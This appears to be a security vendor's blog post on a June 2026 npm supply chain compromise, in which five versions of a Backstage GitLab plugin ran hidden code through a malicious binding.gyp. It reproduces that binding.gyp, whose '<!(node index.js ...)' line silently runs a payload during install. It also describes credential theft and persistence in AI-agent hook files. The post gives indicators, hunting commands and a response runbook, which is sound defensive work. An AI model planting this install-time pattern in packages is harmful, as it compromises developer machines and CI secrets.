A node-gyp supply chain attack is hiding install-time code execution in binding.gyp, and backstage-plugin-gitlab-backend is the latest carrier

In June 2026, five published versions of @immobiliarelabs/backstage-plugin-gitlab-backend began shipping a malicious binding.gyp that runs attacker code during npm install. The compromised releases are 3.0.3, 4.0.2, 5.2.1, 6.13.1, and 7.0.2. This is a node-gyp supply chain attack, and the delivery mechanism is the point: there is no preinstall or postinstall hook to flag, because execution happens through the native build system itself, a path most dependency review never inspects.
The package is part of the wider campaign that researchers track as Miasma, the install-time technique named Phantom Gyp, and the parent worm family known as Shai-Hulud. This post covers the affected versions, how the install-time execution works, the indicators to hunt for, and the first hour of response. Every claim traces to the linked primary sources.
Five backstage-plugin-gitlab-backend versions ship a malicious binding.gyp
Five published versions of @immobiliarelabs/backstage-plugin-gitlab-backend are compromised, and any workstation or CI runner that installed one should be treated as exposed until proven otherwise. Backstage is the developer portal many platform teams standardize on, so the compromised code lands directly on developer machines and inside CI/CD runners.
| Detail | Value |
|---|---|
| Package | @immobiliarelabs/backstage-plugin-gitlab-backend |
| Registry | npm |
| Compromised versions | 3.0.3, 4.0.2, 5.2.1, 6.13.1, 7.0.2 |
| Delivery file | binding.gyp invoking node-gyp at install time |
| Bundled payload | A large (multi-megabyte) index.js, reported around 5.3 MB |
| Execution trigger | npm install resolving an affected version, directly or transitively |
| Campaign | Miasma (technique: Phantom Gyp), part of the Shai-Hulud worm family |
| Assume-compromised scope | Developer workstations and CI/CD runners that ran the install |
A Backstage GitLab backend plugin has no legitimate reason to carry native build infrastructure. A pure TypeScript or JavaScript plugin does not compile C or C++. The presence of binding.gyp in this package is itself the first signal that something is wrong.
Backstage sits at the center of the developer platform, which is what makes this placement valuable
Backstage is an open developer portal, and the GitLab backend plugin is a common dependency inside it, which places this compromise on exactly the hosts that hold the credentials worth stealing. Developer workstations and CI runners carry npm tokens, GitHub credentials, and cloud keys, so a package that installs widely across engineering is a high-value carrier.
That reach is why the technique matters more than the single package. The same malicious binding.gyp pattern is spreading across many packages and maintainer accounts in this campaign, so the right response is to hunt for the technique, not only this one plugin.
The execution runs through node-gyp, not through an install script
When npm install sees a binding.gyp file and no matching prebuilt binary, npm hands the package to node-gyp to compile a native addon, and the malicious package abuses that build step to run code with no install script anywhere in package.json. This breaks the assumption behind most npm hygiene advice.
Initial execution through command expansion
GYP, the build-config format node-gyp consumes, supports a command-expansion form. The <!(...) expression runs a shell command during the configure phase and substitutes its output into the build definition. The compromised releases put a command there instead of a filename. Public analysis of the wider campaign documented a binding.gyp of this exact shape:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}
Read it left to right. node index.js executes the bundled payload while node-gyp is still configuring, before any compiler runs. The redirect > /dev/null 2>&1 discards all output so the install looks clean. The trailing && echo stub.c returns a plausible source filename so GYP continues without an error. The "type": "none" target means nothing is actually compiled, so running index.js is the entire purpose.
Why standard review misses it
The package.json in these tarballs contains no preinstall, postinstall, install, or prepare script. The only scripts are ordinary development tasks. Tooling that scans package.json for lifecycle hooks sees nothing, because npm invokes node-gyp on its own the moment a binding.gyp is present. The malicious step never appears in the script list a reviewer or a script-blocking policy would check.
Payload delivery through a multi-stage loader
The bundled index.js is large because it is an obfuscated, multi-stage loader, not a normal entry point. Analysis of the campaign traced the chain through a character-code-array layer, a self-decrypting AES-128-GCM layer, and then a downloader that pulls a standalone bun runtime binary and runs the real payload under Bun rather than the Node process that started the install. Moving the work into a downloaded Bun binary is deliberate evasion: monitoring scoped to Node child processes during npm install does not see the process doing the real work, and a plaintext scan of index.js turns up no credentials or command-and-control strings because that behavior lives in the decrypted blob.
Credential harvesting, persistence, and propagation
Once running, the payload behaves like the rest of this worm family. The stealer sweeps for developer and CI/CD secrets across npm tokens, GitHub credentials, AWS, GCP, Azure, HashiCorp Vault, and Kubernetes, and it scrapes CI runner process memory to recover secrets that log masking would otherwise hide. Exfiltration runs through attacker-controlled GitHub repositories rather than a fixed command-and-control domain, which blends the traffic into normal developer activity. The malware plants persistence in editor and AI-agent hooks that survive a plain npm uninstall, and it self-propagates by republishing other packages from any maintainer account whose token it captures.
Indicators of compromise and behavioral signals
Hunt for the technique, not just the package name, because the same binding.gyp pattern is spreading across many packages and maintainer accounts in this campaign. The indicators below cover the affected versions, the file artifacts, and the runtime behavior.
Package versions to block immediately
@immobiliarelabs/backstage-plugin-gitlab-backendat3.0.3,4.0.2,5.2.1,6.13.1, and7.0.2- Block these specific versions in your internal registry and reject them in lockfiles until the investigation closes
File system indicators
- A
binding.gypfile in any package with no legitimate native component, especially one containing the<!(command-expansion form - An unusually large root-level
index.js(multiple megabytes; the disclosed payload is around 5.3 MB) - Editor or AI-agent hook files added without your action:
.claude/,.cursor/rules/,.vscode/tasks.json(in particular"runOn": "folderOpen"entries)
Useful hunting commands:
# binding.gyp files that contain a node-gyp command-expansion payload
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null
# Suspiciously large root-level index.js files
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null
# Editor and AI-agent persistence hooks injected into your repo
ls -la .claude/ .cursor/rules/ .vscode/tasks.json 2>/dev/null
Network and process indicators
node-gyp rebuildrunning for a package that has no real native addon- Unexpected
curl,unzip, orbunchild processes spawned duringnpm install - A standalone
bunbinary downloaded mid-install when nothing in your project asked for Bun - GitHub API calls with a
python-requestsuser agent originating from a CI step that is not a Python process
Git, GitHub, and CI indicators
- New workflow files under
.github/workflows/that you did not author - Repositories created on your accounts without your action
- npm packages republished from your maintainer accounts with version numbers that jump unexpectedly
Immediate response: the first-hour runbook
Remove persistence first, then clean and reinstall on known-good versions, then rotate every credential the affected host could see. The harvested data is encrypted before exfiltration, so you cannot determine after the fact what was taken, and an environment of unknown status should be treated as a confirmed compromise.
- Remove persistence before touching credentials. Inspect and delete injected editor and AI-agent hooks (
.claude/settings.json,.vscode/tasks.json,.cursor/rules/) so they cannot react to your changes. - Quarantine the affected versions. Block
3.0.3,4.0.2,5.2.1,6.13.1, and7.0.2of the plugin in your internal registry and pin to a known-good release. - Clean and reinstall. Remove
node_modules, pin or remove the malicious versions inpackage.json, then reinstall withnpm install --ignore-scripts. Treat--ignore-scriptsas one layer, not the whole fix, because the tarball can still be fetched and unpacked and a later rebuild without that flag can still triggernode-gyp. - Rotate every reachable credential: npm publish tokens, GitHub personal access tokens and Actions secrets, AWS keys and reachable IAM roles, GCP service account keys, Azure service principals, Vault tokens, Kubernetes service account tokens, and anything in a password manager store on the affected host.
- Audit Git and CI for injected workflows and dead-drop repositories. Review recent changes under
.github/workflows/, recent commits, and any repositories created on your accounts. - Hold publication. Freeze package publishing from potentially affected maintainer accounts until tokens are rotated, so a captured token cannot be used to republish.
Finding the package is not the same as knowing the code ran
Signature and manifest-based tooling catches a known-bad package version once it is listed, but the same tooling is structurally blind to a clean-looking package.json whose real behavior lives in a build file and executes before anything is logged. Closing that gap takes execution context.
The structural problem is straightforward. A scanner that reasons about a dependency from its manifest and its published metadata has nothing suspicious to flag here, because the malicious instruction is not in the manifest. The code runs during a build step that the package manager triggers automatically, under a runtime the attacker downloads specifically to avoid the process tree anyone is watching. Static review answers the question of what a package declares, and the attack is built to make that answer come back clean.
Execution reality changes the picture. Kodem's runtime-powered SCA flags compromised and tampered packages across direct and transitive dependency trees, and runtime intelligence adds the dimension static review cannot reach: whether a package actually loaded and whether its code paths executed, rather than whether it merely appears in a lockfile. For the install-time and runtime behavior itself, the unexpected process spawns, the mid-install binary download, and the credential access, Application Detection and Response baselines normal application execution and detects deviation without relying on a pre-loaded signature, which is the only way to catch a technique that is new by design. None of this requires the attack to be known in advance. The requirement is watching what the software does, not just what it says.
Hardening your pipeline against the next variant
Assume more variants are coming through other build-time files, and reduce the blast radius now rather than chase package names later. The steps below harden the pipeline against the wider family of install-time attacks, not just this package.
- Default to
npm install --ignore-scriptsin CI and pair it with a scanning gate, so install-time execution is off by default. - Pin dependencies to exact versions with lockfile integrity hashes, so a republished malicious version cannot slip in transitively.
- Add a registry cooldown that holds packages published in the last several days before they are allowed into builds, since these waves move fast and get removed fast.
- Scope CI/CD tokens to least privilege and short lifetimes, so a single harvested token has a small radius and a short window.
- Hunt for build-time files (
binding.gyp,extconf.rb) in packages that have no business carrying native code, and alert on their appearance. - Monitor for the behavioral tells (node-gyp building a script-free package, mid-install binary downloads, CI process-memory access) rather than waiting for a package to reach a block list.
- Move open-source risk decisions onto execution evidence with runtime-powered open source security, so prioritization reflects what actually loads and runs.
What this signals about supply chain attacks
This wave shows attackers moving past the well-watched lifecycle scripts and into the build machinery that runs automatically and is rarely classified as executable. The credential theft is familiar; the entry point is what changed.
- The initial execution keeps migrating to wherever defenders are not looking, from
postinstall, to agent hooks, tobinding.gypandextconf.rb. - The payload is increasingly designed to evade the observation point, in this case by running under a downloaded Bun binary outside the Node process.
- Exfiltration increasingly hides in legitimate developer traffic, here through GitHub repositories rather than a novel command-and-control domain.
The prediction worth tracking: the next wave will reach for another automatic build or tooling hook that nobody currently treats as code. The defense that ages well is not a longer block list. The durable control is the ability to see what a dependency actually does when it installs and when it runs.
Frequently asked questions
- What is the node-gyp supply chain attack? A malicious npm package ships a
binding.gypfile that abuses node-gyp's command-expansion syntax to execute code duringnpm install, without apreinstallorpostinstallscript. Researchers named the install-time technique Phantom Gyp and track the wider campaign as Miasma, part of the Shai-Hulud worm family. - Which versions of backstage-plugin-gitlab-backend are compromised? The identified malicious versions of
@immobiliarelabs/backstage-plugin-gitlab-backendare3.0.3,4.0.2,5.2.1,6.13.1, and7.0.2. Block these versions and pin to a known-good release. - How do I know if my environment was affected? Check whether any affected version appears in your lockfiles or was installed on developer machines or CI runners. Then hunt for the technique: a
binding.gypcontaining<!(in a package with no native code, a multi-megabyte rootindex.js, or unexpectedbun,curl, andunzipprocesses during install. - What credentials does the malware steal? Reported targets include npm and GitHub tokens, AWS, GCP, and Azure credentials, HashiCorp Vault and Kubernetes service account tokens, and password manager stores. In CI, the payload scrapes runner process memory to recover secrets that log masking would otherwise hide.
- Why did my SCA or script-blocking tool miss it? The malicious instruction is not in
package.json, so there is no lifecycle script to flag. npm invokesnode-gypautomatically because abinding.gypis present, and the real payload runs under a downloaded Bun binary outside the Node process, which evades monitoring scoped to npm scripts and Node child processes. - How is this different from the original Shai-Hulud attack? The credential theft and worm propagation are consistent with the family. What changed is the initial execution path: earlier waves used
postinstallscripts and agent hooks, while this wave moves first execution into build-time files (binding.gypon npm,extconf.rbon RubyGems) that are not lifecycle scripts at all. - Is
npm install --ignore-scriptsenough to stop it? The flag helps, but treat it as one layer. The malicious tarball can still be fetched and unpacked, and a later rebuild without the flag can still trigger node-gyp. Pinning to known-good versions, removing the malicious ones, and scanning before any build step is the durable control. - Where can I track future variants? Follow the Snyk incident page for the node-gyp compromise and the StepSecurity Miasma disclosure, both linked below, and watch for new build-time execution techniques in the same worm family.
The bottom line
The compromised @immobiliarelabs/backstage-plugin-gitlab-backend releases are not really a story about one plugin. The story is that attackers have learned to fire code from binding.gyp, a file that exists for legitimate native builds and that almost no review treats as executable. Block the five versions, rotate what the install host could see, and then ask the harder question that outlasts this incident: across your dependency tree, do you actually know which code ran, or only which packages were declared? Kai turns that runtime evidence into a prioritized, ready-to-action answer.
References
- Snyk: Node-gyp Supply Chain Compromise, a self-propagating npm worm that hides in binding.gyp
- Snyk incident page: Node-gyp Supply Chain Compromise, June 2026 (full affected-package list)
- StepSecurity: Miasma npm supply chain attack and the Phantom Gyp technique
- npm: @immobiliarelabs/backstage-plugin-gitlab-backend package page
- GYP input format reference (command-expansion syntax)
Related blogs

Mastra npm Packages Compromised: easy-day-js Supply Chain Attack
On June 17, 2026, a hijacked contributor account republished more than 140 @mastra npm packages with a malicious easy-day-js dropper that delivers a crypto-stealer and RAT. Get the IOCs, timeline, and first-hour runbook.
9
Stop the waste.
Protect your environment with Kodem.
A Primer on Runtime Intelligence
See how Kodem's cutting-edge sensor technology revolutionizes application monitoring at the kernel level.
Platform Overview Video
Watch our short platform overview video to see how Kodem discovers real security risks in your code at runtime.
The State of the Application Security Workflow
This report aims to equip readers with actionable insights that can help future-proof their security programs. Kodem, the publisher of this report, purpose built a platform that bridges these gaps by unifying shift-left strategies with runtime monitoring and protection.
.avif)
Get real-time insights across the full stack…code, containers, OS, and memory
Watch how Kodem’s runtime security platform detects and blocks attacks before they cause damage. No guesswork. Just precise, automated protection.


